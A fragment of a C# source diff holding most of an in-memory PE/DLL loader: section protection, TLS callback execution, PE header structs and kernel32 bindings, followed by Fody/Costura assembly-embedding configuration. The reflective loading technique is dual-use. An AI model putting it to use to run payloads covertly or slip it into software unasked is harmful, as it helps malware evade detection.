if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0)
|
||||
{
|
||||
sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE;
|
||||
}
|
||||
else
|
||||
{
|
||||
sectionData.Characteristics |= Section.Characteristics;
|
||||
}
|
||||
sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address);
|
||||
continue;
|
||||
}
|
||||
|
||||
FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);
|
||||
|
||||
sectionData.Address = sectionAddress;
|
||||
sectionData.AlignedAddress = alignedAddress;
|
||||
sectionData.Size = sectionSize;
|
||||
sectionData.Characteristics = Section.Characteristics;
|
||||
}
|
||||
sectionData.Last = true;
|
||||
FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);
|
||||
}
|
||||
|
||||
static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment)
|
||||
{
|
||||
if (SectionData.Size == IntPtr.Zero)
|
||||
return;
|
||||
|
||||
if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0)
|
||||
{
|
||||
if (SectionData.Address == SectionData.AlignedAddress &&
|
||||
(SectionData.Last ||
|
||||
SectionAlignment == PageSize ||
|
||||
(unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0)
|
||||
)
|
||||
{
|
||||
Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0;
|
||||
int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0;
|
||||
int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0;
|
||||
uint protect = (uint)ProtectionFlags[executable, readable, writeable];
|
||||
if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE;
|
||||
|
||||
uint oldProtect;
|
||||
if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect))
|
||||
throw new DllException("Error protecting memory page");
|
||||
}
|
||||
|
||||
static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders)
|
||||
{
|
||||
if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return;
|
||||
IMAGE_TLS_DIRECTORY tlsDir = PtrRead<IMAGE_TLS_DIRECTORY>(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress));
|
||||
IntPtr pCallBack = tlsDir.AddressOfCallBacks;
|
||||
if (pCallBack != IntPtr.Zero)
|
||||
{
|
||||
for (IntPtr Callback; (Callback = PtrRead<IntPtr>(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size))
|
||||
{
|
||||
ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate));
|
||||
tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static bool Is64BitProcess { get { return IntPtr.Size == 8; } }
|
||||
|
||||
static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); }
|
||||
|
||||
static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); }
|
||||
|
||||
static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders)
|
||||
{
|
||||
uint size = Section.SizeOfRawData;
|
||||
if (size == 0)
|
||||
{
|
||||
if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0)
|
||||
{
|
||||
size = NTHeaders.OptionalHeader.SizeOfInitializedData;
|
||||
}
|
||||
else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)
|
||||
{
|
||||
size = NTHeaders.OptionalHeader.SizeOfUninitializedData;
|
||||
}
|
||||
}
|
||||
return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size));
|
||||
}
|
||||
|
||||
public void Close() { ((IDisposable)this).Dispose(); }
|
||||
|
||||
void IDisposable.Dispose()
|
||||
{
|
||||
Dispose();
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_initialized)
|
||||
{
|
||||
if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, IntPtr.Zero);
|
||||
_initialized = false;
|
||||
}
|
||||
|
||||
if (ImportModules != null)
|
||||
{
|
||||
foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m);
|
||||
ImportModules = null;
|
||||
}
|
||||
|
||||
if (pCode != IntPtr.Zero)
|
||||
{
|
||||
Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE);
|
||||
pCode = IntPtr.Zero;
|
||||
pNTHeaders = IntPtr.Zero;
|
||||
}
|
||||
|
||||
Disposed = true;
|
||||
}
|
||||
|
||||
// Protection flags for memory pages (Executable, Readable, Writeable)
|
||||
static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2]
|
||||
{
|
||||
{
|
||||
// not executable
|
||||
{ PageProtection.NOACCESS, PageProtection.WRITECOPY },
|
||||
{ PageProtection.READONLY, PageProtection.READWRITE }
|
||||
},
|
||||
{
|
||||
// executable
|
||||
{ PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY },
|
||||
{ PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE }
|
||||
}
|
||||
};
|
||||
|
||||
struct SectionFinalizeData
|
||||
{
|
||||
internal IntPtr Address;
|
||||
internal IntPtr AlignedAddress;
|
||||
internal IntPtr Size;
|
||||
internal uint Characteristics;
|
||||
internal bool Last;
|
||||
}
|
||||
|
||||
class Of
|
||||
{
|
||||
internal const int IMAGE_NT_HEADERS_OptionalHeader = 24;
|
||||
internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8;
|
||||
internal const int IMAGE_IMPORT_BY_NAME_Name = 2;
|
||||
}
|
||||
|
||||
class Of32
|
||||
{
|
||||
internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28;
|
||||
internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96;
|
||||
}
|
||||
|
||||
class Of64
|
||||
{
|
||||
internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24;
|
||||
internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112;
|
||||
}
|
||||
|
||||
class Sz
|
||||
{
|
||||
internal const int IMAGE_SECTION_HEADER = 40;
|
||||
internal const int IMAGE_BASE_RELOCATION = 8;
|
||||
internal const int IMAGE_IMPORT_DESCRIPTOR = 20;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_DOS_HEADER
|
||||
{
|
||||
public ushort e_magic; // Magic number
|
||||
public ushort e_cblp; // Bytes on last page of file
|
||||
public ushort e_cp; // Pages in file
|
||||
public ushort e_crlc; // Relocations
|
||||
public ushort e_cparhdr; // Size of header in paragraphs
|
||||
public ushort e_minalloc; // Minimum extra paragraphs needed
|
||||
public ushort e_maxalloc; // Maximum extra paragraphs needed
|
||||
public ushort e_ss; // Initial (relative) SS value
|
||||
public ushort e_sp; // Initial SP value
|
||||
public ushort e_csum; // Checksum
|
||||
public ushort e_ip; // Initial IP value
|
||||
public ushort e_cs; // Initial (relative) CS value
|
||||
public ushort e_lfarlc; // File address of relocation table
|
||||
public ushort e_ovno; // Overlay number
|
||||
public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words
|
||||
public ushort e_oemid; // OEM identifier (for e_oeminfo)
|
||||
public ushort e_oeminfo; // OEM information; e_oemid specific
|
||||
public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words
|
||||
public int e_lfanew; // File address of new exe header
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_NT_HEADERS
|
||||
{
|
||||
public uint Signature;
|
||||
public IMAGE_FILE_HEADER FileHeader;
|
||||
public IMAGE_OPTIONAL_HEADER OptionalHeader;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_FILE_HEADER
|
||||
{
|
||||
public ushort Machine;
|
||||
public ushort NumberOfSections;
|
||||
public uint TimeDateStamp;
|
||||
public uint PointerToSymbolTable;
|
||||
public uint NumberOfSymbols;
|
||||
public ushort SizeOfOptionalHeader;
|
||||
public ushort Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_OPTIONAL_HEADER
|
||||
{
|
||||
public MagicType Magic;
|
||||
public byte MajorLinkerVersion;
|
||||
public byte MinorLinkerVersion;
|
||||
public uint SizeOfCode;
|
||||
public uint SizeOfInitializedData;
|
||||
public uint SizeOfUninitializedData;
|
||||
public uint AddressOfEntryPoint;
|
||||
public uint BaseOfCode;
|
||||
public ulong ImageBaseLong;
|
||||
public uint SectionAlignment;
|
||||
public uint FileAlignment;
|
||||
public ushort MajorOperatingSystemVersion;
|
||||
public ushort MinorOperatingSystemVersion;
|
||||
public ushort MajorImageVersion;
|
||||
public ushort MinorImageVersion;
|
||||
public ushort MajorSubsystemVersion;
|
||||
public ushort MinorSubsystemVersion;
|
||||
public uint Win32VersionValue;
|
||||
public uint SizeOfImage;
|
||||
public uint SizeOfHeaders;
|
||||
public uint CheckSum;
|
||||
public SubSystemType Subsystem;
|
||||
public DllCharacteristicsType DllCharacteristics;
|
||||
public IntPtr SizeOfStackReserve;
|
||||
public IntPtr SizeOfStackCommit;
|
||||
public IntPtr SizeOfHeapReserve;
|
||||
public IntPtr SizeOfHeapCommit;
|
||||
public uint LoaderFlags;
|
||||
public uint NumberOfRvaAndSizes;
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public uint VirtualAddress;
|
||||
public uint Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
public ulong Name; //8 byte string
|
||||
public uint PhysicalAddress;
|
||||
public uint VirtualAddress;
|
||||
public uint SizeOfRawData;
|
||||
public uint PointerToRawData;
|
||||
public uint PointerToRelocations;
|
||||
public uint PointerToLinenumbers;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public uint Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_BASE_RELOCATION
|
||||
{
|
||||
public uint VirtualAdress;
|
||||
public uint SizeOfBlock;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_IMPORT_DESCRIPTOR
|
||||
{
|
||||
public uint OriginalFirstThunk;
|
||||
public uint TimeDateStamp;
|
||||
public uint ForwarderChain;
|
||||
public uint Name;
|
||||
public uint FirstThunk;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_EXPORT_DIRECTORY
|
||||
{
|
||||
public uint Characteristics;
|
||||
public uint TimeDateStamp;
|
||||
public ushort MajorVersion;
|
||||
public ushort MinorVersion;
|
||||
public uint Name;
|
||||
public uint Base;
|
||||
public uint NumberOfFunctions;
|
||||
public uint NumberOfNames;
|
||||
public uint AddressOfFunctions;
|
||||
public uint AddressOfNames;
|
||||
public uint AddressOfNameOrdinals;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct SYSTEM_INFO
|
||||
{
|
||||
public ushort wProcessorArchitecture;
|
||||
public ushort wReserved;
|
||||
public uint dwPageSize;
|
||||
public IntPtr lpMinimumApplicationAddress;
|
||||
public IntPtr lpMaximumApplicationAddress;
|
||||
public IntPtr dwActiveProcessorMask;
|
||||
public uint dwNumberOfProcessors;
|
||||
public uint dwProcessorType;
|
||||
public uint dwAllocationGranularity;
|
||||
public ushort wProcessorLevel;
|
||||
public ushort wProcessorRevision;
|
||||
};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct IMAGE_TLS_DIRECTORY
|
||||
{
|
||||
public IntPtr StartAddressOfRawData;
|
||||
public IntPtr EndAddressOfRawData;
|
||||
public IntPtr AddressOfIndex;
|
||||
public IntPtr AddressOfCallBacks;
|
||||
public IntPtr SizeOfZeroFill;
|
||||
public uint Characteristics;
|
||||
}
|
||||
|
||||
enum MagicType : ushort
|
||||
{
|
||||
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
|
||||
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||
}
|
||||
|
||||
enum SubSystemType : ushort
|
||||
{
|
||||
IMAGE_SUBSYSTEM_UNKNOWN = 0,
|
||||
IMAGE_SUBSYSTEM_NATIVE = 1,
|
||||
IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,
|
||||
IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,
|
||||
IMAGE_SUBSYSTEM_POSIX_CUI = 7,
|
||||
IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,
|
||||
IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,
|
||||
IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,
|
||||
IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,
|
||||
IMAGE_SUBSYSTEM_EFI_ROM = 13,
|
||||
IMAGE_SUBSYSTEM_XBOX = 14
|
||||
}
|
||||
|
||||
enum DllCharacteristicsType : ushort
|
||||
{
|
||||
RES_0 = 0x0001,
|
||||
RES_1 = 0x0002,
|
||||
RES_2 = 0x0004,
|
||||
RES_3 = 0x0008,
|
||||
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,
|
||||
IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,
|
||||
IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,
|
||||
IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,
|
||||
IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,
|
||||
IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,
|
||||
RES_4 = 0x1000,
|
||||
IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,
|
||||
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000
|
||||
}
|
||||
|
||||
enum BasedRelocationType
|
||||
{
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0,
|
||||
IMAGE_REL_BASED_HIGH = 1,
|
||||
IMAGE_REL_BASED_LOW = 2,
|
||||
IMAGE_REL_BASED_HIGHLOW = 3,
|
||||
IMAGE_REL_BASED_HIGHADJ = 4,
|
||||
IMAGE_REL_BASED_MIPS_JMPADDR = 5,
|
||||
IMAGE_REL_BASED_MIPS_JMPADDR16 = 9,
|
||||
IMAGE_REL_BASED_IA64_IMM64 = 9,
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
}
|
||||
|
||||
enum AllocationType : uint
|
||||
{
|
||||
COMMIT = 0x1000,
|
||||
RESERVE = 0x2000,
|
||||
RESET = 0x80000,
|
||||
LARGE_PAGES = 0x20000000,
|
||||
PHYSICAL = 0x400000,
|
||||
TOP_DOWN = 0x100000,
|
||||
WRITE_WATCH = 0x200000,
|
||||
DECOMMIT = 0x4000,
|
||||
RELEASE = 0x8000
|
||||
}
|
||||
|
||||
enum MemoryProtection : uint
|
||||
{
|
||||
EXECUTE = 0x10,
|
||||
EXECUTE_READ = 0x20,
|
||||
EXECUTE_READWRITE = 0x40,
|
||||
EXECUTE_WRITECOPY = 0x80,
|
||||
NOACCESS = 0x01,
|
||||
READONLY = 0x02,
|
||||
READWRITE = 0x04,
|
||||
WRITECOPY = 0x08,
|
||||
GUARD_Modifierflag = 0x100,
|
||||
NOCACHE_Modifierflag = 0x200,
|
||||
WRITECOMBINE_Modifierflag = 0x400
|
||||
}
|
||||
|
||||
enum PageProtection
|
||||
{
|
||||
NOACCESS = 0x01,
|
||||
READONLY = 0x02,
|
||||
READWRITE = 0x04,
|
||||
WRITECOPY = 0x08,
|
||||
EXECUTE = 0x10,
|
||||
EXECUTE_READ = 0x20,
|
||||
EXECUTE_READWRITE = 0x40,
|
||||
EXECUTE_WRITECOPY = 0x80,
|
||||
GUARD = 0x100,
|
||||
NOCACHE = 0x200,
|
||||
WRITECOMBINE = 0x400,
|
||||
}
|
||||
|
||||
enum ImageSectionFlags : uint
|
||||
{
|
||||
IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
|
||||
IMAGE_SCN_MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
|
||||
IMAGE_SCN_MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
|
||||
IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
|
||||
IMAGE_SCN_MEM_SHARED = 0x10000000, // Section is shareable.
|
||||
IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable.
|
||||
IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable.
|
||||
IMAGE_SCN_MEM_WRITE = 0x80000000 // Section is writeable.
|
||||
}
|
||||
|
||||
enum DllReason : uint
|
||||
{
|
||||
DLL_PROCESS_ATTACH = 1,
|
||||
DLL_THREAD_ATTACH = 2,
|
||||
DLL_THREAD_DETACH = 3,
|
||||
DLL_PROCESS_DETACH = 0
|
||||
}
|
||||
|
||||
class Win
|
||||
{
|
||||
public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D;
|
||||
public const uint IMAGE_NT_SIGNATURE = 0x00004550;
|
||||
public const uint IMAGE_FILE_MACHINE_I386 = 0x014c;
|
||||
public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664;
|
||||
public const uint PAGE_NOCACHE = 0x200;
|
||||
public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040;
|
||||
public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080;
|
||||
public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000;
|
||||
public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000;
|
||||
public const uint IMAGE_FILE_DLL = 0x2000;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
|
||||
|
||||
[DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
|
||||
public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr LoadLibrary(IntPtr lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool FreeLibrary(IntPtr hModule);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo);
|
||||
|
||||
public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader)
|
||||
{
|
||||
return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader);
|
||||
}
|
||||
|
||||
public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader)
|
||||
{
|
||||
return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader;
|
||||
}
|
||||
|
||||
public static IntPtr IMAGE_ORDINAL(IntPtr ordinal)
|
||||
{
|
||||
return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff);
|
||||
}
|
||||
|
||||
public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal)
|
||||
{
|
||||
return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0));
|
||||
}
|
||||
}
|
||||
|
||||
static T PtrRead<T>(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); }
|
||||
static void PtrWrite<T>(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); }
|
||||
static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); }
|
||||
static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); }
|
||||
static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); }
|
||||
static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); }
|
||||
static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); }
|
||||
static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); }
|
||||
static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); }
|
||||
static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); }
|
||||
static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); }
|
||||
|
||||
static T BytesReadStructAt<T>(byte[] buf, int offset)
|
||||
{
|
||||
int size = Marshal.SizeOf(typeof(T));
|
||||
IntPtr ptr = Marshal.AllocHGlobal(size);
|
||||
Marshal.Copy(buf, offset, ptr, size);
|
||||
T res = (T)Marshal.PtrToStructure(ptr, typeof(T));
|
||||
Marshal.FreeHGlobal(ptr);
|
||||
return res;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -0,0 +1,141 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
